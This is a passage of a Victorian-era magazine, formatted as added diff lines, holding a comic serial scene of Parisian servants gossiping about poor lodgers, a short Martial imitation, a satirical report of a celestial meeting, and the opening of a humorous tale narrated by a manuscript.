+Indian, winter and summer, with nothing but a cold river under her
+feet, and cold oil-cloth over her head, on the look-out for a poodle in
+want of clipping, or some mouse-eaten-out-of-house-and-home baker in
+want of a tabby kitten! I protest I never think of my poor Gothon and
+her stock-in-trade,--her cage of cats on one side, and her string of
+puppies on the other,--without bitter anguish of soul. Why can't your
+father stay at home, Dodore, and set up in the Champs Elysées, or at
+the _barrières_, like other respectable men of his profession, to be
+nearer home?"
+
+"Bless your heart!" remonstrated Dodo, "papa took up his station three
+years ago, on the way along the Allée d'Antin, to the Suspension
+Bridge. But it all but made a bankrupt of him! There was too much
+competition. Pierre the Savoyard, who had his show-box within fifty
+yards, has such a winning way with him that not a nurse-maid, or
+English lord coming out of Lepage's shooting-gallery, but used to throw
+silver to Pierre, where papa took only the brownest of copper. At last,
+a nasty, good-for-nothing, designing Jesuit of a fellow set up in
+opposition to both on 'em; Scripture pieces, with Jepfa's daughters,
+and Dalily and Goliar, a hand-organ, and Dutch pug as held an old hat,
+and what not. Papa bore it as long as he was able; but what was the
+good of opposition atween friends? He'd nothing in his box but worn-out
+things, as old as Methusalem or Jerusalem, or whatever it is, such as
+the battle of Marengo, and the Pyramids, and the landing of Xerxes in
+the Hellyspunt and a pack of low-lived fancies. So mamma persuaded
+him to try the provinces (where, as all the world knows, the stalest
+bread goes down); and so, from fair to fair, he's been touring it this
+twelvemonth."
+
+"Poor Gothon!"
+
+"Mamma doesn't fret. She says I shall soon be old enough to take
+papa's business off his shoulders, and then he'll be able to retire
+comfortable; and she'll give up her stall on the Pont Neuf, and the
+kitten and canary line, to sister Mary."
+
+Madame Grégoire was about to remonstrate against this perpetuation of
+open-air commerce in her posterity, when Monsieur Boncoeur's signal was
+given; and, lo, the well-varnished, well-stuffed, but plain chariot of
+the thriving banker, rolled after his fat and bean-fed horses out of
+the court-yard.
+
+Some minutes afterwards, his portly _femme de ménage_, Madame
+Alexandre, stepped into the lodge for a few minutes' gossip with the
+porteress previous to proceeding to her evening's _Boston_ with the
+grocer's lady at the opposite corner. The comely housekeeper, in her
+silk-cloak and bonnet, was naturally an object of dislike and envy to
+the withered _portière_, in her ragged merino gown and dingy calico
+cap. But Christmas was approaching. Her _étrennes_ for New Year's Day
+(to the sum total of which, the first-floor contributed three-fourths)
+were seldom absent from Madame Grégoire's calculations. Besides,
+Monsieur Boncoeur's housekeeper was to be conciliated as a connecting
+link in her chain of domestic investigation; for Madame Alexandre not
+only afforded her quota of information concerning her own and her
+master's affairs, but, in pure pryingness of spirit, contrived to see
+through stone-walls, and hear down chimneys, while striving to put this
+and that together concerning those of her fellow-lodgers.
+
+"Well, Madame Grégoire, what is the best news with us this evening?"
+demanded the jolly dame, as soon as the porteress had despatched her
+hungry grandson home to his mamma, the kittens and canaries. "I'm just
+stepping out, you see, for my little game with the Pruins. Poor people,
+they can't do without me! If I warn't with them before the clock struck
+eight, I should be having them here after me; and, to be filling the
+house with visitors during master's absence, is a thing I'm not in
+the habit of doing, as nobody knows, better than yourself. Indeed,
+it's a matter of conscience that takes me out the moment his back is
+turned. As a _femme de confiance_, I'm bound to see there's no waste;
+and where there's visitors there _must_ be tippling and stuffing;
+so, out of regard to Monsieur Boncoeur's property, I'm seldom in the
+house ten minutes after him. I hope I know my duty by so respectable a
+master better than to make away with his goods like Ma'mselle Berthe
+up yonder, who keeps open house like a lady, with as many rings at
+her bells of an evening as e'er a duchess in the land! But, as I was
+saying, Madame Grégoire,--(Dearie me, I thought I wasn't by no means
+comfortable! I've been sitting on the knitting-needles! lucky my cloak
+was wadded!)--as I was saying, have you made out anything further about
+them Coursons?"
+
+"Scarce a syllable more than the first day they took possession!
+One knowed they was respectable, 'cause our proprietor is exceeding
+particular about references,--(there isn't a partic'larer landlord from
+one end of the Boulevards to t'other!)--and one knowed they was _poor_,
+'cause their moveables came on a porter's truck, instead of occupying a
+cart and horse, as becomes a creditable lodger, or instead of occupying
+three vans of the _administration des déménagemens_, as was the case, I
+remember, when our respectable first-floor moved in."
+
+Madame Alexandre smiled a neat and appropriate smile of acknowledgment
+for her master; while the porteress took breath, a pinch of snuff, and
+proceeded.
+
+"But as to their origin, and sitch, I know no more than Adam! Not an
+acquaintance in the parish! I even put the water-carrier upon asking
+about the neighbourhood; but no such name as Courson was ever heard of!
+How do we know, pray, who we've got among us? Courson may be a sham
+name, such as we reads of in Monsieur Jules Janin's novels!"
+
+"Such rubbish, indeed!" said Madame Alexandre, with a sneer, intended,
+like the epithet, to apply to the lodgers on the third-floor, ignored
+by the water-carrier and public-houses in the neighbourhood, _not_ to
+Monsieur Janin's novels, which were probably familiar to them all.
+
+"Would you believe it, ma'am? there's the saucy minx of a daughter
+(Ma'mselle Claire, I think, you told me was her name,) has the owdacity
+to bid me good morning or good evening if I haps to meet her on the
+stairs, affable-like, as if she felt me her inferiorer! Me! Now I
+don't know, Ma'me Grégoire, what your opinion may be, but _I_ holds
+(and so does my friends, the Pruins,) that the upper domestics of the
+first-floor is on a 'quality with the lodgers of the third, that keeps
+no domestics at all."
+
+"Certainly, ma'am, certainly," replied the porteress, still harping on
+the amount of her New Year's gift. "But have you made out nothing of
+these people's occupations? You're two floors nigher to 'em than me. If
+I was in _your_ place----"
+
+"If you was in that of the housekeeper of Monsieur Georges, you mean!
+Ma'mselle Berthe's store-closet looks clean into Ma'mselle Claire's
+room."
+
+"Looks dirty in," emended the prying porteress.
+
+"And, if Ma'mselle Berthe wasn't as dry as a handful of deal shavings,
+maybe I might have demeaned myself to ask her in a friendly way how the
+young lady passed her mornings. But Ma'mselle Berthe (the _chissie_!)
+condescends to hold just about as much communication with me as one of
+the chayney mandarins on the top of master's cabinet,--shakes her head
+by way of salutation, and not a word!"
+
+"But, Guguste (Monsieur Georges's little lad of all work and no play)
+assured me he saw Ma'mselle Courson ring at Monsieur Boncoeur's bell
+the other day, and deliver a letter to the footman."
+
+"Oho! that dirty little _gamin_ plays the spy upon those who rings at
+Monsieur Boncoeur's bell, do he?" cried the housekeeper, reddening.
+"Very dirty behaviour, I must confess!"
+
+"But, my dear madam, my dear friend," whined the porteress in a tone of
+deprecation, "did not you yourself inform me that Monsieur Boncoeur's
+footman carried up on Sunday se'nnight, by Monsieur Boncoeur's desire,
+to Ma'mselle Claire, a box of apricot marmalade, and the last number of
+the '_Follet_'?"
+
+"I said no such thing, ma'am, as I remember. The marmalade and the
+journal was both lawfully directed to Madame Courson. I never so much
+as insinnivated a word of an intention of attention to Mademoiselle!"
+
+"Then I miscomprehended, ma'am; in which I'm the more to blame,
+because, from the highly-respectable character of the mansion for which
+I have the honour to pull the string, (there isn't, as I said before,
+a more partic'larer landlord than the proprietor from one end of the
+Boulevarts to t'other,) I might have known that even the letters of
+a gentleman so distinguished as my first-floor would never have been
+received by Ma'mselle, the daughter of Madame Courson."
+
+"_That_'s all you know about it,--is it?" cried the lusty housekeeper,
+crimsoning with pique. "Then be so good as to tell me what makes such
+a young lady as Ma'mselle, Madame Courson's daughter, write written
+letters to so distinguished a gentleman as your first-floor? Answer me
+that!"
+
+"She couldn't be guilty of anything so heinous!" cried the porteress,
+aghast.
+
+"I tell you she _was_!"
+
+"You _must_ be mistaken!"
+
+"Seeing is believing, Madame Grégoire!"
+
+"Ay! you may have seen her _deliver_ a written letter, poor dear, from
+her mamma, in all probability?"
+
+"No such thing!--from herself."
+
+"Now, how can you possibly know! Did you see her write it? Do you even
+know her handwriting?"
+
+"I know her signature,--'Claire de Courson;' and you told me your werry
+self, that the agreement for the lodgings was signed by her mother as
+'Emilie de Courson.'"
+
+"But the signature was inside the written letter. How could you see
+_that_?"
+
+"No matter; I did see it with my two eyes as plain as I see you."
+
+"And that's plain enough," muttered Guguste, who, having crept back
+unobserved into the room, was skulking in a corner.
+
+"Why, sure you didn't go to peep?" said the porteress, with a knowing
+look of inquiry and accusation.
+
+"What a one you are!" cried Madame Alexandre, trying to turn off
+jocularly her self-betrayal. "But, not to haggle with partic'lars of
+how the letter came into my hands, into my hands it came; and what
+should it be, but a private confidential _tête-à-tête_ epistle from the
+young lady, saying how Monsieur Boncoeur's reputation for benevolence
+was up in the neighbourhood, and how he seemed inclined to befriend her
+poor mother, (the apricot marmalade, you know!) and how it would be a
+great charity (no, not charity,--act of humanity the shabby-genteels
+calls it,) if he would exert his interest to procure for her mamma a
+privilege to sell stamps, a _bureau de papier timbré_; for which, of
+course, his petitioner was ever bound to pray, and so forth."
+
+"I hope they don't think of setting up anything in the shop or office
+line in a house like ourn?" cried Madame Grégoire, with dignity.
+"They'll find theirself plaguily out of their reckoning!--for I must
+say it, who shouldn't say it, that there isn't a more partic'larer
+landlord."
+
+"I'll just tell you what," ruthlessly interrupted Madame Alexandre,
+twitching her silk cloak, as if meditating departure. "Tonight's
+Monday, you know."
+
+"Yes, I _do_ know."
+
+"And that's the reception-night, you know, of the Minister of the Home
+Department."
+
+"No, I didn't know."
+
+"And, as sure as life,----"
+
+"Lord lovee, Ma'me Alexandre, don't use that profane expression!
+There's nothing less sure than life!" cried Madame G. while Auguste
+groaned in the background.
+
+"As sure as a gun, then----"
+
+Again Auguste groaned.
+
+"--Master's gone this evening to the hotel of the _Ministre
+de l'Interieur_, to present Ma'mselle Claire's petition for a
+stamp-office."
+
+"Do you really think things of that sort are done in that sort of
+straight-for'ard way?" demanded the porteress. "_I_ fancied that, when
+you wanted anything of government, you got a word said for you to the
+cousin of some clerk-of-a-deputy-to-an-under-commissioner, with,
+maybe, a genteel little offering, to make it go down,--such as a Savoy
+cake, or a China rose-tree in a flower-pot."
+
+"Nonsense! You're thinking of folks of your own species," said the
+housekeeper disdainfully.
+
+"You forget that my master, Monsieur Boncoeur,'s a representative of
+the nation, a governor of the Bank of France, and a _marguillier_ of
+the parish. Master's a right to go straight an end to the king, and
+tell his majesty any little wish he may have ungratified. And, if he
+_should_ think proper to mention to Louis Philippe Ma'mselle Claire's
+desire that her mamma should set up a bureau for stamps, her business
+is done!"
+
+They were interrupted by the starting up of Guguste, who was crouching
+behind them, and placed an admonitory finger on his lip to impose
+silence upon Madame Grégoire's meditated rejoinder, just as a very
+white hand, holding a very black key, was intruded into the room
+through the porter's window; and the silvery accents of Mademoiselle
+Courson were heard, announcing to the porteress that she was going out
+for half an hour; and that, though her mother remained at home, she was
+indisposed, and could receive no visitors."
+
+"_Visitors_, indeed! Who ever comes to visit _them_, I should like to
+know!" muttered Madame Grégoire, after pulling the _cordon_ to admit of
+the young lady's egress.
+
+"She certainly _had_ a bundle under her arm!" cried Madame Alexandre,
+who had been watching the young lady through the window. "Now, how I
+_should_ like to know where she's going."
+
+"To the pharmacy, for medicine for her mother, or to the herborist
+for lime-blossoms, to make _tisanne_," said Guguste, who shrewdly
+anticipated a request on the part of the elderly ladies that he would
+arise and play the spy upon the movements of Mademoiselle Claire.
+
+"Pho! pho! The old lady's only trouble-sick, which would be a deal
+worse than body-sick, only that it don't require no physic," observed
+the porteress.
+
+"Then she's gone to the laundress."
+
+"Laundress, indeed!" cried the fat housekeeper; "as if low-lived people
+like the third-floor wasn't their own laundress!"
+
+"Pardon me, my dear Ma'me Alexandre," cried the porteress. "You know
+we don't allow no hanging out in _this_ house. There's not a more
+partic'larer landlord in----"
+
+"'Tis my true and honest belief," interrupted the lady in the
+silk-cloak, "that the girl is gone to the Mont de Piété! I said to
+Robert, our footman, when he was taking up master's apricot marmalade,
+that 'twould be a deal more to the purpose if he took up a good dish of
+cutlets, or a _fricandeau_; for, as you and I was agreeing t'other day,
+my dear Ma'me Grégoire, not an ounce of anything eatable beyond daily
+bread ever goes up these blessed stairs to the third-floor. And, what's
+more, I've noticed strange changes in Miss and Madam since they took up
+in the house; I don't mean in point of growing thin and meagre, 'cause
+care alone, without starving, will bring the poor body of a poor soul
+down to nothing. But, the day as their goods came in, Ma'mselle Courson
+had as good a cloak over her shoulders as the one on mine (which cost
+me a good hundred and thirty livres in the Passage de l'Orme,) and
+Ma'mselle Claire's having a velvet collar doubtless might be counted
+at twenty more. What's become of it, I should like to know?"
+
+"Ay, what's become of it, eh?" added the porteress, tapping her box.
+
+"_Certes!_ people that _has_ a comfortable cloak is apt to put it on
+such nights as this!" rejoined the housekeeper; "but I say nothing."
+
+"The young lady may have lent it to her mamma, who is indisposed,"
+pleaded Guguste. "Fuel is ris' within the week. I don't suppose they've
+too much fire."
+
+"Lent it to her mamma, indeed!" cried Madame Alexandre. "Why, Madame
+Courson has as handsome a Thibet shawl as ever came out of Ternaux's
+factory."
+
+"_Had_," emended the porteress. "I haven't seen the red shawl on her
+shoulders these three weeks. On that point I has my suspicions."
+
+A single rap, Parisian-wise, at the _porte cochère_, produced the usual
+professional tug at the _cordon_. The gate flew open; and, peeping in
+at the window-pane, was seen the rubicund face of Monsieur Paul Emile
+Pruin, the grocer, come in search of his loitering guest.
+
+"So, so, so!" cried he, on detecting her in the thick of gossip
+with the grandmamma of Dodore. "_This_ is the way you keep your
+appointments, _ma belle voisine_? Haven't we had the hearth made
+up these three quarters of an hour, candles snuffed, (_bougies
+de l'étoile_, always a-snuffing!) a fresh bottle of _groseille
+frambroisée_ ready to be uncorked, and a batch of _biscuits de Rheims_
+ready to be opened?--Saw _Monsieur le Député's_ carriage bowl out, and
+been hoping ever since to see you bowl in. Poor Madame Paul in the
+fidgets, as if she'd swallowed a flight of swallows,--up and down,--in
+and out. Sent me over with the umbrella to look after you."
+
+"Thank you,--thank you!" cried Madame Alexandre. "'Tis the first of the
+month, you see," she continued, winking at the blind old porteress (to
+whom a nod and wink were much alike) to back her apologies. "I'd my
+little postage account to settle with my good friend here. But now I'm
+at your service. _Allons!_"
+
+"Guguste, my dear, show the lantern to Madame Alexandre over the
+_ruisseau_," said the porteress, turning round to look for her boarder.
+But Guguste had disappeared. He had perhaps sneaked away to track the
+mysterious footsteps of Mademoiselle de Courson.
+
+FOOTNOTE:
+
+[Footnote 29: The business of a porter in Paris is to open the gates of
+the house to comers and goers after dusk, by means of a cord, which is
+fixed in the lodge.]
+
+
+
+
+MARTIAL IN TOWN.
+
+THE SERVANT OUT OF LIVERY.
+
+
+    Dandle! when thou art asked abroad,
+    It is not for thy wit reward:
+    We know that thou canst draw a cork;
+    In carving, use thy knife and fork;
+    Canst hand the tea-cups round at tea,
+    And hold an urchin on each knee;
+    Canst sort the cards, set tables right,
+    And see old ladies home at night:
+    With talents of such vast display,
+    Thou'rt but a servant for the day!
+
+
+
+
+ASTRONOMICAL AGITATION.
+
+REFORM OF THE SOLAR SYSTEM.
+
+FROM OUR OWN REPORTER.
+
+
+Yesterday, a numerous and highly respectable meeting of gentlemen
+and ladies interested in the stability of the solar system was held,
+pursuant to advertisement in the Vox Stellarum, True Sun, &c. at the
+sign of the Great Bear in the North Hemisphere, at One P.M. (sidereal
+time).
+
+Long before the hour named, the neighbouring constellations were
+crowded with a brilliant assemblage of all the beauty and fashion of
+the upper regions. Amongst the glittering throng we noticed nearly all
+the stars of any magnitude occupying their accustomed places, together
+with deputations from various influential bodies interested in the
+support of the system; the principal Nebulæ, several Signs of the
+Zodiac, a deputation from the Electro-magnetic Grand Junction Company,
+and from the Galvanic Branch Association, his Highness the Meridian
+with several degrees of Longitude, the Equator with the Latitudinarian
+party, the Torrid Zone and his Tropics, their High Mightinesses the
+Hurricanes, Mr. Monsoon and the Trades' Union of the South Hemisphere,
+the Æthereal and Atmospheric Alliance Company, and, though last not
+least, their Royal Highnesses the Planets, who came in state, attended
+by a guard of honour of their Satellites in rings and belts, under a
+royal salute of Thunder and Lightning.
+
+The great Area of the Constellation was brilliantly lit with Zodiacal
+light. Notwithstanding the exertions of a strong party of the
+Centrifugal Police Force, assisted by the Comets from the out-stations
+under Inspector Halley, and a detachment of the South African
+Asteroids, (sent by Sir W. Herschel from head-quarters at the Cape,)
+the atmospheric pressure was nearly insupportable, and several of the
+ladies were nearly absorbed by the crowd. Ceres, Pallas, and Vesta
+appeared to suffer intensely; and we deeply regret to state that one of
+the Pleiads is still missing, to the great regret of her lovely sisters
+and their brilliant circle. The disorderly conduct of a White Squall
+(introduced by Mr. Monsoon) was as conspicuous as the undeviating and
+steady regularity of the members of the Trades' Union. Discordant cries
+of "Adjourn!" "Adjourn to the Milky Way!" quite drowned the music of
+the Spheres.
+
+On the arrival of the Planets, the meeting accordingly adjourned to
+the Via Lactea. Cassiopea's Chair (kindly lent for the occasion) was
+impartially, if not brilliantly, filled by our old and steady friend
+the Pole Star; his fair neighbour and _protegée_, Aurora Borealis,
+acted as secretary, and excited universal admiration by her brilliant
+rapidity.
+
+The Man in the Moon then rose, and said he had been deputed by the
+Sidereal and Solar System Self-supporting Societies, to lay before the
+meeting a statement of their reasons for assembling. His indifference
+to all sublunary considerations was well known, and he was utterly
+incapable of casting reflections upon any body; but he must solemnly
+declare that the constant annoyances and insults which he received
+from his neighbours the Terrestrials were enough to inflame the temper
+of a Fixed Star. (Cheers from the Sidereal benches.) He had heard
+much of Tellurian attractions; but he was fortunately not of a warm
+temperament, and he would never so far deviate from the orbit of moral
+rectitude as to yield to them. The very idea of forming a Tellurian
+connexion was repulsive to him: and with his Eccentric tendency, unless
+he were warmly supported by the Influential Members of the System, and
+by that admirable institution the Centrifugal Force, he trembled for
+the consequences of the continuance of such conduct on the part of
+the Earth; he should hazard his very Equilibrium, and expose himself
+to an attack of Parabola. ("Shame!" and groans.) Ever since that
+scoundrel Daniel O'Rourke had obtruded himself upon him, he had had
+no peace: the sanctity of Sidereal society had been invaded, and the
+mysteries of the Lunarian Œconomy unveiled. (Loud cries of "Shame!"
+from Mars and Venus.) He had been, in common with many of those whom
+he was addressing, travestied at the Terrestrial theatres. (A voice,
+"The Olympic!") He had been exposed to the naked eye by astronomical
+lecturers, without even the decent intervention of a spy-glass.
+Whichever way he turned his phase, they followed him. But he would
+proceed at once to that which had principally induced him to address
+them; he meant the Monster Balloon (Confusion) and its crew. (Cries of
+"Down with 'em!" "Nebulize 'em!" "Tip 'em the Meteorics!" &c.) Yes,
+they had defied the elements, violated the whole of the Gravitation
+laws, and endangered the stability of the system itself. (Cheers.) He
+(the Honourable Lunarian) did not know where they would stop. Other
+aeronauts had respected Lunatic and Sidereal dignity, and had had
+the decency to perform their antics by daylight; but these Balloon
+Monsters, these vile Misouranists had done it burglariously, and by
+starlight. He had indeed been spared the indignity of beholding them;
+but all celestial security was at an end, and he did not know when he
+rose any evening, whether he should be allowed to set again in peace."
+
+(The worthy Luminary, overpowered by his feelings, sank beneath the
+Horizon in a Halo of tears, amidst thunders of applause.)
+
+The Winds rose all at once, and attempted to make themselves heard; and
+many of the Siderealists being anxious to neutralize all opposition,
+much irregularity and many disturbances ensued, but, the Fixed Stars
+surrounding the Chair, and the Centrifugal Force interfering, order was
+restored, and
+
+_Mr. Zephyr_, of the Trades' Union, in a scarcely audible whisper,
+commenced by expressing his regret at the surface of the meeting
+having been ruffled by anything which had _fallen from the Moon_.
+(Coruscations of laughter.) The Moon rose to order. "It was a vile
+slander of the grovelling Terrestrials,--he never let anything fall:
+the meteoric stones--" ("Order, order!") "Mr. Zephyr proceeded. He had
+expected a breeze, but was quite unprepared for such a blowing up.
+(Cheers.) His own course had been uniformly steady, and the principles
+by which he was actuated were now ascertained and appreciated by
+high and low. He was neither a Lunatic nor a Terrestrial, but of the
+Atmospheric Juste Milieu,--in short, an Aerialist. Whilst he opposed
+all undue Planetary influence, and disliked a Sidereal ascendency, he
+abhorred a Vacuum, and was deeply interested in the stability of the
+Solar System. He could with confidence appeal to his worthy neighbours
+the Tropics, and to the whole constituency of the Torrid Zone for
+the confirmation of his assertions. ("Hear, hear!" from Cancer and
+Capricorn.) He had been accused of blowing hot and cold, (Ironical
+cheers from Messrs. Boreas and Auster,) but that was merely because
+he was not violent,--not a regular Destructive, like some of his
+neighbours, who were always kicking up a dust, and never knew when to
+stop. (Cheers from the Trades.) But he would no longer deviate from his
+course. It must, he thought, be clear to the least reflecting surfaces,
+that these large meetings had a tendency to cause disturbances, and
+to lead to serious irregularities. Many of the Stars would be out all
+night, and he feared that some of their Royal Highnesses the Planets
+would find it impossible to perform their necessary revolutions in
+proper time. How could they expect to find Honourable Luminaries ready
+to undertake the onerous duties of acting as Morning Stars if all this
+night-work were to be allowed? How was it possible, for instance, for
+Jupiter to go his circuit, or for Georgium Sidus to keep his distance?
+("Order!") He looked upon the Balloon and its crew as mere trifles,
+light as air. There was no danger of their rising above their own petty
+sphere. It was quite clear that they were within the Gravitation laws:
+if they transgressed them, they would be very soon placed _in vacuo_,
+and the full penalty levied under the Newton act. That penalty amounted
+to a prohibition, for it not only inflicted sixteen feet perpendicular
+for the first second, but went on in a rapidly-increasing proportion.
+He must be excused for disbelieving the alleged Eccentricity of
+the worthy Luminary who rose last. He thought his anticipations of
+premature Parabola mere moonshine; he appeared to him to have viewed
+the light in which he was regarded by the Terrestrials through a
+most distorted medium. He could assure him that he had lately become
+the observed of all observers. The Fixed Stars were much better
+appreciated, and were considered as peculiarly well calculated for
+their places: even the Nebulæ were beginning to be properly estimated;
+and a very graphic account of the Double Stars had made them better
+known, and had displayed their peculiar sympathies, and numerous and
+unprecedented attractions. Even the necessity of Periodical Revolutions
+was now admitted below as well as above, and there appeared a strong
+tendency to a system of Universal Centralization. His worthy friends
+the Atmospherics would bear him out in saying that the doctrine of
+'Pressure from without' was understood and acted on to its fullest
+extent, and that an important Displacement was generally anticipated.
+He begged to be allowed to subside by moving an adjournment _sine
+die_." (At this period our reporter was obliged to leave; but we are
+happy to say there was every prospect of Mr. Zephyr's motion being
+carried.)
+
+
+
+
+THE ADVENTURES OF A TALE.
+
+BY THE HON. MRS. ERSKINE NORTON.
+
+     "I could [and will] a tale unfold!"--_Hamlet._
+
+
+It is with indignation such only as a literary composition, conscious
+of its own high value, and smarting under injustice and neglect, can
+be supposed to feel, that I lift up my voice from behind the serried
+ranks of my companions, long tales and short, the light effusion of
+three pages, or the decided weight of three volumes; serious tales or
+gay; moral or profane; fine French or low Irish; tales without an end,
+and tales that ought never to have had a beginning; tales in ponderous
+verse or in gossamer prose; the delicate and brittle ware called
+travellers' tales; or those more substantial and important-looking
+matters, political economy tales. I say, that from behind this
+prodigious phalanx I rise up like Erskine from behind the big-wigs
+of the first law-court he addressed, elevating myself as the young
+counsellor on his bench, and making myself heard,--not, it is true,
+in the general cause of justice, liberty, humanity, and so forth, but
+in that cause in which all, if not eloquent, are at least earnest and
+sincere,--in the cause of self.
+
+It is said that Minerva (a goddess) sprang from the brain of Jupiter
+without a mamma; I, Seraphina (a tale), issued forth from the lovely
+head (I am not quite so sure of the brain) of a fair romantic young
+lady, without a papa;--at least so I presume, for my composition is
+purely feminine; my slight and delicate texture could only have been
+woven by an unassisted female imagination.
+
+While yet in embryo, I was christened Seraphina, and was to be composed
+in three or four reasonably long letters (ladies' letters, crossed and
+re-crossed with different coloured inks,) to Clementina. My respected
+parent decided that there was nothing equal to the epistolary form for
+describing the sentiments and adventures of a heroine; for who like
+herself _can_ lay open all those finer and minuter feelings of the
+inmost heart, pouring into the ear of sympathising friendship every
+wish, every hope, every thought? Soul meets soul, even through the
+vulgar medium of pens, ink, and paper; "thoughts that glow and words
+that burn," are traced by the delicate fingers that "resume the pen,"
+with a celerity altogether surprising; no agitation can delay, no
+fatigue can excuse; the half-dozen sheets of foolscap that are to be
+run over before she can lay her throbbing temples on her pillow, her
+white drapery (i. e. her night-gown) floating round her, her long hair
+unbound (very much out of curl), her snowy feet on the cold marble (she
+has lost her slippers), her door carefully locked, but her trellised
+casement left open, that the pale moonbeams may peep through it;
+her lamp is decaying, her hands are trembling, her eyes swimming in
+tears;--_n'importe_, the six sheets of foolscap are finished! O, there
+is nothing like the epistolary form! Seraphina shall be in letters to
+Clementina;
+
+    "Sure, letters were invented for some wretch's aid,
+    Some absent lover, or some captive maid."--POPE.
+
+I can just recollect, as I began to assume form and consistency, how
+much and how dearly I was fondled by my young and doting mother;
+indeed, at times, I ran some danger of being killed by kindness. While
+transcribing some of the deeply affecting scenes and sentiments with
+which I abound, I was nearly obliterated by her tears, my material
+parts being composed with a very fine pen and very pale ink; at other
+times, when the stronger passions took possession of the scene, and
+revenge, hatred, and fury predominated, she would crush me in her hand,
+"her eyes in a fine frenzy rolling," and throw me to the other end of
+the room. Of course she had some difficulty in smoothing me out again.
+Nevertheless I grew in stature, and in favour with mamma, myself, and
+four young ladies, her neighbours, (all under fifteen,) who were at
+home for the holidays. On the assembling of this little coterie, I was
+mysteriously brought forth from my perfumed drawer, where I lay covered
+with dried rose-leaves, and read by the author of my being, in a way in
+which an author only can read. My young auditory listened in profound
+attention and admiration, secretly resolving that they too would try
+their unfledged wings in authorship, when they had left off school and
+finished their education. Except to these four interesting girls, my
+existence was a profound secret.
+
+My composition is certainly enough to excite emulation, however
+hopeless. I am (though I say it myself) an exquisite tale. My heroine
+is a model of beauty, virtue, tenderness, and thrilling sensibility;
+"a perfect wonder that the world ne'er saw;" therefore the world
+ought the more to appreciate so rare a conception. Her mother was a
+suffering angel on earth; but, happily for herself, she removed to a
+more congenial abode, while her cherub child was yet in infancy. The
+surviving parent is, of course, a horrid tyrant, who cannot comprehend
+the highly-wrought sensibilities of his daughter, and therefore will
+not give way to them. There is the suitor favoured by the father,
+and the lover favoured by the daughter. There are a locking up,
+an elopement, delicate and dubious situations full of excitement,
+misapprehensions of all kinds, a false female friend, libertine lords,
+fine unfeeling ladies, dark stormy nights, and a catastrophe of the
+most extraordinary, pathetic, and soul-subduing interest. And then my
+descriptions of nature! my silver moon and diamond stars! my rustling
+trees! my woodbine, jessamine, and violets!
+
+A little conceit I acknowledge to, when copied on pale pink, gilt-edged
+paper, curiously ornamented with embossed loves and doves, written in
+a neat small running-hand, the tails of my letters prettily curled,
+plenty of dashes, and very few stops, I was thus headed:
+
+       SERAPHINA; OR, SUFFERING SENSIBILITY.
+                      A TALE.
+                 BY A FAIR UNKNOWN.
+
+    "Love rules the camp, the court, the grove,
+    And man below, and saints above,
+    For love is heaven, and heaven is love."
+            _Lay of the Last Minstrel._
+
+I was highly scented, and sealed in green wax, with a device of Cupid
+tormenting a heart.
+
+The dignified Half-yearly was selected for my debut. It rarely
+admitted literature of my class, and such only of acknowledged merit;
+consequently it was considered my proper and natural medium. From it,
+I was to be commented on and extracted in the monthlies, as well in
+Edinburgh and Dublin as in London; I was to be pirated by the Americans
+and translated by the French; and at the end of the year I was, by
+express permission, to appear in one of the most fashionable annuals,
+my tenderest scene forming the subject of a gorgeous frontispiece,
+on which the most celebrated artists were to lavish their talents.
+The identification of the "Fair Unknown" was to become the puzzle of
+the season; and already many scenes of admiring wonder on the part of
+others, and of dignified modesty on her own, had been played off in the
+active imagination of my dear parent; the acknowledgement of Evelina
+by its young authoress to her father, and the final recognition of the
+_Great_ Unknown, were her models.
+
+At length, with this dazzling perspective before me, I was dismissed
+from the maternal embrace. Betty the housemaid slipped with me out of
+the street-door, holding me with a piece of white paper between her
+finger and thumb, to prevent her soiling my envelope; while my mother
+watched us from the window with tears in her eyes. On reaching the
+twopenny post-office, Betty without any ceremony pushed me through a
+slit beneath a window, and, to my great discomposure, I fell head over
+heels into a dirty box full of all sorts of queer-looking epistles. As
+might be expected, I painfully felt this my first tumble (for I cannot
+call it _step_) into real from imaginary life. I had scarcely time to
+recover from the shock before the box was withdrawn, and we were all
+turned out by a fat woman on a horrid thing called a counter, where
+we were _sorted_, as she termed it, and distributed, with a rapidity
+that was quite confounding, to three or four shabby-looking men having
+bags under their arms. I, being the first turned out, was the last the
+post-mistress clawed up. She retained me a full minute, twirled me
+round, examined my seal, thrust her great finger between my delicate
+side folds, and brought me up to her eye to peer if possible into my
+inside, when the monster who held his bag open to receive me, called
+out,
+
+"Come, mistress,--can't wait no longer!"
+
+"Well," she replied, "bless me, if this don't look for all the world
+like a walentine!" and into the bag she reluctantly dropped me,
+writhing as I was with pain and indignation.
+
+When I had somewhat smoothed my ruffled plumes, I ventured to look
+round on my fellow-travellers, in search of some congenial spirit with
+whom I might beguile the tediousness of time, as we jolted along on
+the shoulders of the postman; but I looked round in vain. My nearest
+neighbour, to my great annoyance, was a butcher's bill, with whom every
+jolt brought me in contact; the dirty thing had a wet wafer prest down
+by a greasy thumb. I shrank from it with horror, and fell back on an
+epistle from a young gentleman at school, which was at least clean, and
+in fair round characters; so I attended to what it had to say. The date
+took up a large portion of the paper, and then: "My dear mamma,--I have
+the pleasure to inform you that our Christmas vacation begins on the
+20th. I am very well. I hope you are very well. I hope my papa is very
+well; and my brothers and sisters, my uncles, aunts, and cousins. I beg
+my duty to my papa, my love to my brothers and sisters, my respects to
+my uncles and aunts, and my remembrances to my cousins; and believe
+me your dutiful son." I sighed, and turned to a business-like looking
+letter, directed in a precise hand to Messrs. ----, in some dark lane
+in the city. The names of the persons addressed, and a very exact date,
+took up, as in the schoolboy's letter, a vast deal of room, and then
+it began: "Gentlemen,--We beg to acknowledge your _favour_ of the 1st
+instant--" I could not get any further, for I was suddenly attracted by
+a smart-looking and very highly scented affair, sealed, and directed
+to a lord; but was disappointed on finding it was only a Bond-street
+perfumer's little yearly account of one hundred and fifty pounds for
+perfumes, fine soaps, cold-cream, and tooth-brushes. There was no other
+very close to me, so I ventured gently to push my way to a curiously
+folded epistle directed to Miss Matilda Dandeville, Oxford-street:
+"Dear Tilly,--Pray send me, as soon as you can, my close bonnet, for my
+nose is nearly off from wearing my pink silk and blonde this freezing
+weather. Full of life and fun here! Shall tell you all when we meet.
+It will be your turn next; meantime, business, business! money, money!
+Love to all inquiring friends." I felt disgusted. Do not gentlemen and
+ladies write by the twopenny-post? Nothing but duns, bills, business,
+and money! Is there no sense, sentiment, or sensibility, to be found in
+a twopenny-postbag? I certainly did observe some fashionable-looking
+letters, and one decidedly with a coronet; but they were too far down,
+quite unattainable; so I drew myself up as much apart as possible
